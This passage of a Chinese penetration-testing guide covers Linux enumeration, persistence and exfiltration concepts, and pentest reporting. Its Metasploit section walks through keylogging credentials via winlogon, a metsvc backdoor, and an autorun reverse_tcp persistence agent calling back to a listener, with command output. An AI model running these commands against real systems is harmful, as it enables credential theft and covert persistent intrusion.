find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
  • world-writeable files&Noowner files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和查找利用代码

  • 什么开发工具/语言被安装/支持?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
  • 如何上传文件?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

相关链接:

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

part6 权限维持

0x01前言

PS:权限维持这一部分原项目只是介绍了权限维持这一概念,并没有说有哪些手法可以达到权限维持的目的,wing很辛苦的在寻找资料,但是很杂,国内国外总结的我没看到合适的,个人认为,工具方面,后渗透的权限维持就是empire+msf/cs,可能是我没发现吧,我希望接下来的时间中,我能自己总结出自己的东西,那权限维持我就讲下msf这块的,empire和cs我会更新的。希望有意愿的大牛们可以提出你们宝贵的意见!下面进入正题,

一旦渗透测试人员设法进入目标系统,他应该努力维持他的权限,隐喻地说。他可以选择使用被劫持的系统作为发射台(就是成为DDoS攻击或垃圾邮件活动的僵尸网络的一部分),此时攻击、扫描和利用其他系统,或继续利用目前的系统模式,这两项行动都可能造成很大的损失。
例如,渗透测试人员可以设置一个嗅探器来拦截所有入站/出站网络流量,包括FTP(文件传输协议)和与其他系统的远程登录会话,以便他稍后将数据传输到任何他想要的地方。
对于那些想要不被发现的人来说,要采取进一步措施来确保他们的存活。通过这种方式可以有不同的方式,但通常是通过安装隐藏的基础设施来实现基于后门,特洛伊木马,rootkit和隐蔽通道的重复和不受限制的访问。当这个基础设施完全开放的时候,渗透测试人员就可以继续利用他认为有价值的任何信息。

Alt text

0x02 权限维持的工具和方法

后门程序或木马程序是一种方便的工具,可以轻松访问已经被破坏的系统。一个木马提供在应用程序级别的访问,但是要实现这个目的,用户需要在本地安装的恶意软件。在Windows运行的系统中,大多数木马程序都将自己安装为一项服务,然后作为本地系统运行,具有管理权限。此外,渗透测试人员可以挂载特洛伊木马以窃取系统上存储的密码,凭证和任何其他敏感信息。
Alt text
就像远程访问木马(RAT)一样,后门程序安装在目标系统中,并带有内置的上传/下载功能。他们上传收集的感兴趣的文件,然后依靠诸如端口53(用于DNS)和80和443(分别用于HTTP和HTTPS)的端口来掩盖它们的流量。TrendMicro 报告,当攻击者使用HTTP传输数据并绕过检测时,网络事件绕过“连接限制”。基于[TrendMicro]调查,攻击者可能会手动下载包含所有收集数据的.ZIP文件。

隐蔽通道是指数据通过秘密通信隧道发送。VoIP,DNS隧道,ICMP隧道和HTTP隧道是从网络内部提取数据的路径。所有这些隐蔽通道也可以传输加密的数据。
尽管检测隐蔽通道并非不可能,但是受害者可能需要付出相当大的努力。网络签名,流量数据分析和协议分析是出站流量异常的一些指标,掌握正确的工具的渗透测试人员可能会遇到。最重要的是,尽管协议或应用程序特定的工具不容易出于安全目的,但与特定于安全性的对象相比,它们可能会显示出更好的结果。

探测一个隐蔽的隧道是一回事,但是阻止它是完全不同的事情。渗透测试人员可以:

  • 在公司信息边界阻止ICMP出站;
  • 阻止对公司网络外部服务器的DNS请求,但不阻止内部DNS服务器;
  • 利用Web代理来处理HTTP隧道;
    在VoIP RTR溢出隧道的情况下延迟传送语音邮件,以便他可以发送到音频处理器,该处理器将检查每个数据包的语音邮件中的编码数据(以与反垃圾邮件软件类似的方式)。

rootkit是一种在计算机系统隐藏的比较深的恶意软件,此,将Rootkit与其他类型的恶意软件区分开来的原因是它们隐藏自身的能力,以绕过计算机安全措施。实际上,这是rookit之所以被创造的主要原因。

Alt text
Rootkit通常在特洛伊木马的帮助下加载,从具有“用户”级访问权的目标平台开始。一旦获得了攻击系统的初始立足点,它们就会监视密码和其他类似的登录操作。以获得“管理员”权限,这个过程被称为特权升级。不过,rootkit的真正“作用”是权限维持。
与普通病毒在短时间内试图造成尽可能多的伤害不同,rootkit往往潜伏在目标系统中,逐渐慢慢地破坏它。Prima看来重点是“秘密”一词。例如,rootkit键盘记录器被设计为在不知情的情况下记录受害者所键入的keywords,鉴于这种恶意软件可能未被发现,这将有足够的时间来窃取敏感信息,而且又会增加身份盗用的可能性。
在这方面,rootkits不同于一般的寄生虫,进入身体,但可能会保持多年,直到他们集结足够的力量克服体内的免疫系统。
Alt text

如果我们把一个计算机系统分成三个基本层,那么我们最终将得到硬件,内核和操作系统级别。实质上,内核是操作系统的核心。用户级别的rootkit通常使用低优先级进程来破坏安全软件。由于以下原因,内核级别的rootkit比其他级别的rootkit更加隐身和危险:

  • 当他们将代码添加到操作系统内核的某些部分时,他们有能力伪装自己的存在;
  • 他们比操作系统早运行;
  • 他们可以躲避加密并创建无限制访问渗透系统的秘密渠道;
  • 已经证明,删除内核级别和启动级别的rootkit通常并不那么简单;
  • 驻留在内核内存中的Rootkit通常不会在硬盘上留下任何痕迹。此外,他们可能会修改文件,磁盘的一部分,甚至修改内核,以防止重新启动。

在内核级别安装的Rootkit可以获得对潜在攻击者枪瞄系统的完全管理员访问权限。与特洛伊木马不同,rootkit为操作系统级别铺平了一条访问路径。

关于如何删除rootkit的一些建议
像防病毒软件这样的经典安全措施通常无法应对rootkit所代表的危险。作为一种替代方法,您可以选择旨在根除rootkit的专用程序之一:Malwarebytes Anti-rootkit,GMER,Sophos Anti-Rootkit,TDSSKiller等,详情见此处!

尽管如此,有时候这些措施也有可能没什么效果,因为他们会取得成功只是缓解了一些危害,rootkit的传播在你的系统,不能保证,这些程序能够将rookit删除干净。
除了反rootkit软件之外,还可以启动“clean slate”程序 - 即备份最重要的文件并完全重新安装操作系统。在正常情况下,这样的行为将会消灭rootkit。但即使如此,仍然没有100%的保证,因为一个非常罕见的rootkit,BIOS级别的rootkit,可以在重新安装之后幸免于难。
来源: https: //www.avast.com/c-rootkit
Alt text
然而,无论rootkit如何难以隐藏,至少在理论上(如果对你有任何安慰的话)总是有迹象的,因为rootkit的目的是为外部人维护一个入口路径。
Alt text

0x03数据泄露

数据泄露是指从计算机系统或IT服务器向外部系统或设备未经授权的数据传输。可以手动执行(类似于“复制粘贴”命令),也可以通过网络上的恶意软件自动执行。
2015年迈克菲报告指出,所有报告的数据泄露事件中有60%是通过直接电子手段发生的,而其余的40%涉及物理媒体,如将数据下载到USB驱动器或窃取笔记本电脑。这40%的份额中有相当一部分涉及手机,这可能是由于许多公司普遍接受自带设备政策。就个人而言,可识别信息(PII)和个人健康信息(PHI)是最主要的内容类别,其次是知识产权和财务数据。

数据通过电子方式渗透时,通常通过不同的网络协议,隧道协议,电子邮件或文件传输。虽然文件传输协议(FTP)被认为是一种标准的网络协议,其目的是传输文件,但也可能被用来促进数据渗透活动。其他协议和技术也适用,例如路由控制数据包,安全外壳,点对点,即时消息传递,Windows Management Instrumentation,隐藏视频或图像中的数据以及VoIP。网络摄像机,麦克风,和类似的外围设备可能会被操纵来监视目标的活动。渗透测试人员也可以使用HTTP文件传输或Tor匿名网络作为屏蔽位置和流量的手段。

有时在渗透测试之前,渗透测试人员想要处理数据,以便在被利用的系统之外更容易地转移数据。典型方法是压缩加密和密码保护。然后,处理的数据将从目标网络内上传到外面的某个服务器。公共网络是将数据从目标系统走私出去的一条较好的途径。

这个 FrameworkPOS malware是演示数据泄露是如何工作的一个很好的例子-它利用了内存抓取技术,以挖掘出某个位置存储在端点上运行的进程的信用卡信息。
在查找到相关数据后,恶意软件将执行DNS隧道连接命令和控制服务器以提取数据。此外,FrameworkPOS通过对信用卡信息,主机名和IP地址进行XOR编码,并将编码后的包添加到HTTP请求中,从环境中导出数据。这个技巧有效地混淆了防火墙和基于代理的检查。
未经检测的数据泄露是许多情况下的不法行为者正在寻找的,因为针对Target和Home Depot 的真实网络攻击表明了这一点。这是因为他们窃取的一些信息是保密的,当它保密的时候它更有价值.

当涉及到提前持续威胁(APT)和阻止恶意行为者泄露您的数据时,及早发现是至关重要的。每个组织应该有一个有效的威胁情报程序,这将有助于确定所有可以被视为与数据泄露有关的可疑活动。通过连接到全球威胁情报网络,以及时了解最新的安全趋势,实时本地威胁情报系统应该得到补充。

根据Splunk企业安全性,一些值得注意的数据泄露指标是全面调查的一个很好的起点。这些指标是:

-未经批准的港口活动

  • 向非公司域1的大量电子邮件活动
  • 过多的DNS查询
  • 主机发送过多的邮件
  • 网站上传到非公司网站的用户
    从本质上讲,防止数据泄露的有效方法是迄今为止关于检测和清除基本数据泄露(即特洛伊木马,后门,rootkit和隐蔽通道)的所有方法或工具。

[附加]使用msf进行权限维持

ps:本来想写写其他的手法,但是既然是wiki,我就按照这里的来介绍吧。

键盘记录

使用Metasploit的键盘记录器

在你渗透进入目标系统之后,你可以采取两种不同的选择,要么简单粗暴,要么猥琐取巧。

如果你有足够的耐心,后一种可以得到大量的信息。 您可以使用一个工具来进行慢速的信息收集,就是Meterpreter的按键记录器脚本。 这个工具设计得非常好,可以让你捕获来自系统的所有键盘输入,而不需要写任何东西到磁盘,留给调查者一个最小的线索,以便以后跟进。 完美的获取密码,用户帐户和各种其他有价值的信息。

让我们看看它的作用。 首先,我们将正常地利用一个系统。

msf利用(warftpd_165_user)> 利用

[*]处理器绑定到LHOST 0.0.0.0
 [*]启动反向处理程序
 [*]连接到FTP服务器172.16.104.145:21 ...
 [*]连接到目标FTP服务器。
[*]尝试目标Windows 2000 SP0-SP4英文...
 [*]发送超大型舞台的中间舞台...(191字节)
 [*]发送舞台(2650字节)
 [*]在处理舞台之前睡觉.. 。
 [*]上传DLL(75787字节)...
 [*]上传完成。
[*]打开Meterpreter就会会话4(172.16.104.130:4444 - > 172.16.104.145:1246)

meterpreter >

然后,我们将把Meterpreter迁移到Explorer.exe进程,以便我们不必担心被利用的进程重新设置并关闭会话。

meterpreter > ps

Process list
============

    PID   Name               Path                                                   
    ---   ----               ----                                                   
    140   smss.exe           \SystemRoot\System32\smss.exe                          
    188   winlogon.exe       ??\C:\WINNT\system32\winlogon.exe                     
    216   services.exe       C:\WINNT\system32\services.exe                         
    228   lsass.exe          C:\WINNT\system32\lsass.exe                            
    380   svchost.exe        C:\WINNT\system32\svchost.exe                          
    408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe                          
    444   svchost.exe        C:\WINNT\System32\svchost.exe                          
    480   regsvc.exe         C:\WINNT\system32\regsvc.exe                           
    500   MSTask.exe         C:\WINNT\system32\MSTask.exe                           
    528   VMwareService.exe  C:\Program Files\VMwareVMware Tools\VMwareService.exe 
    588   WinMgmt.exe        C:\WINNT\System32\WBEMWinMgmt.exe                     
    664   notepad.exe        C:\WINNT\System32\notepad.exe                          
    724   cmd.exe            C:\WINNT\System32\cmd.exe                              
    768   Explorer.exe       C:\WINNT\Explorer.exe                                  
    800   war-ftpd.exe       C:\Program Files\War-ftpd\war-ftpd.exe                 
    888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe    
    896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe    
    940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe           
    972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 
    1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe 

meterpreter > migrate 768
[*] Migrating to 768...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 768

最后,我们启动键盘记录器,等待一段时间并转储输出。

eterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
   tgoogle.cm my credit amex   myusernamthi     amexpasswordpassword

不可能更简单!注意如何表示按键,如控制和退格键。

作为一个额外的好处,如果你想捕获系统登录信息,你只需迁移到winlogon进程。这将捕获所有登录到系统的用户的凭据,只要这个用户正在运行。

meterpreter > ps

Process list
=================

PID Name         Path
--- ----         ----
401 winlogon.exe C:\WINNT\system32\winlogon.exe

meterpreter > migrate 401

[*] Migrating to 401...
[*] Migration completed successfully.

meterpreter > keyscan_start
Starting the keystroke sniffer...

**** A few minutes later after an admin logs in ****

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!

在这里我们可以看到,通过登录到winlogon进程可以让我们有效地收集所有用户登录到该系统并捕获它。我们已经捕获管理员用“ohnoes1vebeenh4x0red!”的密码登录。

其实这里我们还可以这样思考:获取到一个webshell后,可以用这个来记录管理员的登录密码,为内网渗透做准备,运气好的话可以批量一波。

与Metsvc交互

现在我们将使用带有windows/metsvc_bind_tcp payload的多/处理程序连接到远程系统。这是一个特殊的 payload,因为典型的Meterpreter payload是多阶段的,其中最少量的代码作为漏洞利用的一部分被发送,然后在代码执行完成后上传更多的代码。
想想穿梭式火箭,以及用来使航天飞机进入轨道的助推火箭。这是非常相同的,除了多余的东西在那里,然后减小,Meterpreter开始尽可能小,然后增加。但是,在这种情况下,完整的Meterpreter代码已经上传到远程机器,并且不需要分段连接。
我们将metsvc_bind_tcp的所有选项与受害者的IP地址以及我们希望将服务连接到我们计算机上的端口一起设置好。然后我们运行这个漏洞。

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/metsvc_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     31337            yes       The local port
   RHOST     192.168.1.104    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit

exploit后,我们的metsvc后门立即连接到我们这里。

[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)

meterpreter > ps

Process list
============

   PID   Name               Path                                                  
   ---   ----               ----                                                  
   140   smss.exe           \SystemRoot\System32\smss.exe                         
   168   csrss.exe          \??\C:\WINNT\system32\csrss.exe                       
   188   winlogon.exe       \??\C:WINNT\system32\winlogon.exe                    
   216   services.exe       C:\WINNT\system32\services.exe                        
   228   lsass.exe          C:\WINNT\system32\lsass.exe                           
   380   svchost.exe        C:\WINNT\system32\svchost.exe                         
   408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe                         
   444   svchost.exe        C:\WINNT\System32\svchost.exe                         
   480   regsvc.exe         C:\WINNT\system32\regsvc.exe                          
   500   MSTask.exe         C:\WINNT\system32\MSTask.exe                          
   528   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe
   564   metsvc.exe         c:\WINNT\my\metsvc.exe                                
   588   WinMgmt.exe        C:\WINNT\System32\WBEM\WinMgmt.exe                    
   676   cmd.exe            C:\WINNT\System32\cmd.exe                             
   724   cmd.exe            C:\WINNT\System32\cmd.exe                             
   764   mmc.exe            C:\WINNT\system32\mmc.exe                             
   816   metsvc-server.exe  c:\WINNT\my\metsvc-server.exe                         
   888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe   
   896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe   
   940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe          
   972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
   1000  Explorer.exe       C:\WINNT\Explorer.exe                                 
   1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

在这里我们有一个典型的Meterpreter会话!其次,要小心,何时以及如何使用这个技巧。如果您通过在系统上放置这样一个有用的后门,使攻击者的工作更容易,但是系统所有者就不会感到高兴。

Meterpreter服务

了解Metasploit Meterpreter

在经历了所有渗透系统的艰苦工作之后,将自己较容易的方式留在系统中供以后使用通常是一个好主意,也就是我们常说的后门。这样,如果您最初利用的服务已关闭或打补丁,您仍然可以访问系统。Metasploit有一个Meterpreter脚本persistence.rb,它将创建一个Meterpreter服务,即使远程系统重新启动,您也可以使用它。

在我们继续下一步之前,有一个警告的话。这里显示的持久Meterpreter不需要认证。这意味着任何连接这个的人都可以进入后门!如果您正在进行渗透测试,这不是一件好事,因为这可能是一个重大的风险。在现实世界的情况下,一定要格外谨慎,一旦完成任务,一定要清理干净。

一旦我们获得已有权限的主机,我们用-h开关运行持久性脚本来查看哪些选项可用:

eterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

    -A        Automatically start a matching exploit/multi/handler to connect to the agent
    -L   Location in target host to write payload to, if none %TEMP% will be used.
    -P   Payload to use, default is windows/meterpreter/reverse_tcp.
    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T   Alternate executable template to use
    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i   The interval in seconds between each connection attempt
    -p   The port on which the system running Metasploit is listening
    -r   The IP of the system running Metasploit listening for the connect back

我们将设置持续的Meterpreter会话,等待用户登录到远程系统,然后尝试每隔5秒钟在端口443上的IP地址192.168.1.71连接回监听器。

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >

请注意,脚本的输出为您提供了在完成时删除持久侦听器的命令。 一定要记下来,这样你就不会在系统上留下未经验证的后门。 要验证它是否工作,我们重新启动远程系统并设置我们的payload程序。

eterpreter > reboot
Rebooting...
meterpreter > exit

[*] Meterpreter session 3 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler...

当用户登录到远程系统时,会为我们打开一个Meterpreter会话。

[*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600

meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter >

权限维持的东西这些只是冰山一角,更多的等待我们自己去发现、探索。
关于后门,最近有个老师傅总结一些apt的。都是实战中得出的经验。
他们在这!
php安全新闻早八点-高级持续渗透-第一季关于后门
php安全新闻早八点-高级持续渗透-第二季关于后门补充一
php安全新闻早八点-高级持续渗透-第三季关于后门补充二
php安全新闻早八点-高级持续渗透-第四季关于后门

0x04结论

保持访问权限是一个具有非常具体的目的阶段 - 允许渗透测试者停留在目标系统中,直到他获得他认为有价值的信息,然后设法从系统中成功提权。然而,即使如此,说起来容易做起来难。让我们来比较一下,在未经他人许可的情况下,在别人的房子里进行长期活动 -和进入家里走一段时间是一回事,但是如果你想在没有吸引主人的注意的情况下再待一会儿,那又是另外一回事了。尽管在网络世界中这种类似Houdini的技巧可能会稍微简单一些,但仍然具有挑战性。具有挑战性但并非不可能。

0x05参考文献列表

blog.globalknowledge.com(2011)。黑客攻击的5个阶段:维护访问。可在http://blog.globalknowledge.com/technology/security/hacking-cybercrime/the-5-phases-of-hacking-maintaining-access/(23-06-2016)

Bull,D。(2016)。数据泄露,第4部分:数据如何离开你的四面墙?可在https://blogs.mcafee.com/business/data-exfiltration-part-4-data-leave-four-walls/(23-06-2016)

Buskirk,P。(2015)。先进的方法来检测先进的网络攻击:HTTP(S)Exfiltration。可在http://www.novetta.com/2015/01/advanced-methods-to-detect-advanced-cyber-attacks-https-exfiltration/(23-06-2016)

DaBoss(2013)。隐形病毒和Rootkit。可在http://www.cknow.com/cms/vtutor/stealth-viruses-and-rootkits.html(23-06-2016)

FixMeStick(2015)。病毒实验室 - 什么是Rootkit?可在https://www.fixmestick.com/blog/what-is-a-rootkit/(23-06-2016)

gadgetreview.com(2015)。什么是Rootkit及其为什么是危险的?可在http://www.gadgetreview.com/what-are-rootkits-and-why-they-are-dangerous(23-06-2016)

卡巴斯基。Rootkit是如何工作的。可在https://usa.kaspersky.com/internet-security-center/internet-safety/what-is-rootkit-virus(23-06-2016)

主。N.(2015)。什么是数据泄露?可在https://digitalguardian.com/blog/what-data-exfiltration(23-06-2016)

Lewis,N.(2011)。检测隐蔽通道,防止企业数据泄露。可在http://searchsecurity.techtarget.com/answer/Detecting-covert-channels-to-prevent-enterprise-data-exfiltration(23-06-2016)

McAfee(2015)。停止数据泄露。可在http://www.mcafee.com/us/resources/solution-briefs/sb-quarterly-threats-aug-2015-1.pdf(23-06-2016)

占领网站(2015年)。如何用Tunnelshell创建几乎不可察觉的隐蔽通道。可在http://null-byte.wonderhowto.com/how-to/hack-like-pro-create-nearly-undetectable-covert-channel-with-tunnelshell-0155704/(23-06-2016)

史密斯,吨(2015年)。通过朦胧透视 - 检测攻击者窃取您的数据的策略。可在http://www.tripwire.com/state-of-security/security-data-protection/cyber-security/exfiltration-through-obscrurity/(23-06-2016)

splunk.com(2014)。检测并停止数据泄露。可在http://www.splunk.com/en_us/solutions/solution-areas/security-and-fraud/use-cases/detect-and-stop-data-exfiltration.html(23-06-2016)

趋势科技(2013)。数据泄露:威胁行为者如何窃取您的数据?可在http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/how_do_threat_actors_steal_your_data.pdf(23-06-2016)

阶段4 - 维护访问。可在http://www.techrepublic.com/blog/it-security/the-five-phases-of-a-successful-network-penetration/(23-06-2016)

演讲主题上:“CIS 450 -网络安全第15章-保留访问” -演讲全文:可在http://slideplayer.com/slide/7323200/(23-06-2016)

什么是一个rootkit。https://www.avast.com/c-rootkit(23-06-2016)

part7 渗透测试报告

前言

本文档旨在定义渗透测试报告的基本标准。 虽然高度鼓励使用自己的定制和品牌格式,但以下内容应提供对报告中所需项目的高层次理解以及报告结构,以便为读者(客户)提供价值。

报告是渗透测试中最重要的一环。 您将使用报告来传达您所做的事情,说明您是如何做到的,最重要的是,让你所测试机构知道应如何修复渗透测试期间发现的漏洞。

报告结构

报告分为两个主要部分,以向不同的受众介绍测试的目标,方法和结果。

执行摘要

本部分将向读者(客户)传达渗透测试的具体目标和渗透测试的高级结果。目标受众是那些负责安全方案的监督的人员以及可能受到威胁的组织中的任何成员。执行摘要应包含大部分以下部分:

  • 背景:
    背景部分应向读者(客户)解释渗透测试的总体目的。 测试部分确定的风险,对策和渗透测试有关的术语的详细信息应该提供给读者(客户),以使读者(客户)了解整体的渗透测试和相关结果。

整体来说这个领域将是展现测试的整体效果和渗透测试师实现先前会议中提出的目标的能力的叙述。 对测试过程确定的系统性问题(例如系统性问题–缺少有效的补丁=找到的MS08-067)进行简要描述,以及实现对目标信息的访问和识别 对业务的潜在影响。

风险排名/资料

整体风险排名/概况/分数将在这个区域被识别和解释。 在预备阶段,Pentester将确定评分机制和追踪/分级风险的个体机制。 FAIR,DREAD和其他自定义排名中的各种方法将被合并到环境分数中并进行定义。
Alt text

(客户)的总体风险评分目前是七(7)。 这个评级意味着安全控制的风险会随着潜在的重大财务损失而受到损害。 顾问根据一个高风险和几个中等风险漏洞确定了这个风险评分,并且定向攻击的成功。 识别出的最严重的漏洞是在面向企业公开的网站上存在默认密码,该密码允许访问许多敏感文档并能够控制设备上的内容。 此漏洞可能导致用户帐户被盗,敏感信息泄露或完全系统泄露。 几个较小的严重漏洞可能导致盗窃有效的帐户凭证和泄露信息。
总体发现:
一般调查结果将提供基本和统计格式的渗透测试中发现的问题的概要。 测试目标用图形表示,测试结果,过程,攻击情景,成功率以及在测试前会议中定义的其他可测量指标应该存在。 此外,问题的原因应该以易于阅读的格式呈现。 (例如,显示被利用问题的根本原因的图表)
Alt text

这一领域还应包括描述环境内对策有效性的指标。 (例如,我们运行了x次攻击和IPS拦截了y,其他对策也应该具有相似的设计和效果指标。)

推荐摘要:
报告的建议部分应使读者(客户)高度了解和解决所确定的风险所需的任务,以及实施解决方案建议所需的一般工作量。 本节还将确定用于优先考虑后续路线图顺序的权重机制。

战略路线图

路线图应该包括一个优先计划,用于修复发现的不安全物品,并且应该根据商业目标/潜在影响水平来衡量。 本节应直接映射到已确定的目标以及PTES-Threat建模部分中创建的威胁矩阵。 通过分解为预定义的时间/目标为基础的目标,本节将创建一个行动的路径,以不同的增量。 例:
Alt text
Alt text

技术报告

本部分将向读者(客户)传达测试的技术细节以及商定前的所有方面/内容,作为参与前活动的关键成功指标。 技术报告部分将详细描述测试的范围,信息,攻击路径,影响和修复建议。

介绍:

技术报告的引言部分旨在作为初步清单:

渗透测试团队的测试
联系信息
涉及测试的资产
测试的目的
测试范围
测试的强度
途径
威胁/分级结构

本部分应作为测试涉及的具体资源和测试的总体技术范围的参考。

信息收集:

情报收集和信息评估是良好渗透测试的基础。测试人员对环境的了解越多,测试的结果就越好。在本节中,应编写若干项目,向客户展示通过执行PTES情报收集阶段可获得的公共和私人信息的范围。至少,确定的结果应该分为4个基本类别:

被动情报:

从间接分析收集到的情报,如DNS,谷歌IP /基础设施相关信息。本节将重点介绍用于在CLIENT环境中剖析技术的技术,而不直接向资产发送任何流量。

主动收集:

本节将介绍基础架构映射,端口扫描,体系结构评估等脚步打印活动的方法和结果。本节将重点介绍通过直接向资源发送流量来在CLIENT环境中分析的技术。

企业情报:

有关组织结构,业务单位,市场份额,垂直和其他企业职能的信息应该映射到业务流程和先前确定的被测试的实物资产。

人员情报:

在情报收集阶段发现的将用户映射到CLIENT组织的任何和所有信息。本部分应显示用于收集情报的技术,例如公共/私人员工仓库,邮件储存库,组织结构图和其他导致员工/公司联系的项目。

漏洞评估:

漏洞评估是识别TEST中存在的潜在漏洞和每个威胁的威胁分类的行为。在本节中,应该提供用于识别漏洞的方法的定义以及漏洞的证据/分类。另外这个部分应该包括:

  • 漏洞分类级别
    • 技术漏洞
  • OSI层漏洞
  • 扫描器的发现
  • 手动识别
  • 整体公开
  • 逻辑漏洞
  • 非OSI漏洞
  • 漏洞的类型
  • 如何/在哪里找到
  • 公开的
  • 结果摘要
  • 开发/漏洞确认:

利用漏洞或漏洞确认是触发前面部分中确定的漏洞以获得对目标资产的特定访问级别的行为。本节应详细回顾为确认定义的漏洞所采取的所有步骤以及以下内容:

  • 渗透时间表
  • 选定的渗透目标
  • 渗透活动
  • 定向攻击
  • 目标主机无法被利用
  • 目标主机能够被利用
  • 个人主机信息
  • 进行攻击
  • 攻击成功
  • 访问级别授予+升级路径
  • 整理
  • 漏洞部分参考
  • 额外的缓解技术
  • 补偿控制建议
  • 间接攻击
  • 网络钓鱼
  • 时间表/攻击细节
  • 确定目标
  • 成功/失败比率
  • 授予访问级别
  • 客户端
    • 时间表/攻击细节
    • 确定目标
    • 成功/失败比率
    • 授予访问级别
  • 浏览器端
    • 时间表/攻击细节
    • 确定目标
    • 成功/失败比率
    • 授予访问级别

后渗透

所有测试中最关键的项目之一是与正在测试的客户端的实际影响的联系。虽然上面的章节中介绍了漏洞的技术性质和成功利用漏洞的能力,但是后渗透部分应该将开发能力与业务的实际风险联系起来。在这个领域,应该通过使用截图,丰富的内容检索以及真实世界特权用户访问的例子证明以下几点:

  • 权限升级路径
  • 使用的技术
  • 获取由客户定义的关键信息
  • 信息的价值
  • 访问核心业务系统
  • 访问合规性保护的数据集
  • 附加信息/系统访问
  • 持久的能力
  • 能力渗透
  • 对策有效性

本节应涵盖范围内系统的对策措施的有效性。其中应包括有效(主动)和被动(被动)对策部分,以及在测试阶段触发的任何事件响应活动的详细信息。有效抵制评估活动的对策列表将有助于客户更好地调整检测系统和流程,以处理未来的入侵企图。

  • 检测能力
    • FW/WAF/IDS/IPS
    • DLP
    • 日志
    • 响应和有效性
      风险:

一旦通过后渗透确认存在的漏洞对业务的直接影响进行评估,就可以进行风险量化。在本节中,上述结果与预先接触部分的风险值,信息危急程度,企业评估以及派生的业务影响相结合。这将使客户能够识别,可视化并通过测试找到的漏洞获利,并有效地加强对客户业务目标的解决方案。本节将涵盖以下小节中的业务风险:

  • 评估事件频率
  • 可能的事件频率
  • 估计威胁能力(从3 - 威胁建模)
  • 估算控制强度(6)
  • 复合漏洞(5)
  • 所需技能水平
  • 需要访问级别
  • 估算每个事件的损失量
  • 主要损失
  • 二次损失
  • 识别风险根源分析
  • 根本原因永远不是一个补丁
  • 识别失败的进程
  • 导出风险
  • 威胁
  • 漏洞
  • 交叠
  • 结论:

最后的测试概述。建议本部分回显整个测试的部分内容,并支持CLIENT安全状态的增长。应该以积极的方面结束,提供支持和指导,使安全方案能够取得进展,未来的检测/安保活动也将取得进展。

参考链接

http://www.pentest-standard.org/index.php/Reporting
https://github.com/juliocesarfort/public-pentesting-reports
https://www.offensive-security.com/reports/sample-penetration-testing-report.pdf

part8 逆向工程

IDA

插件选项

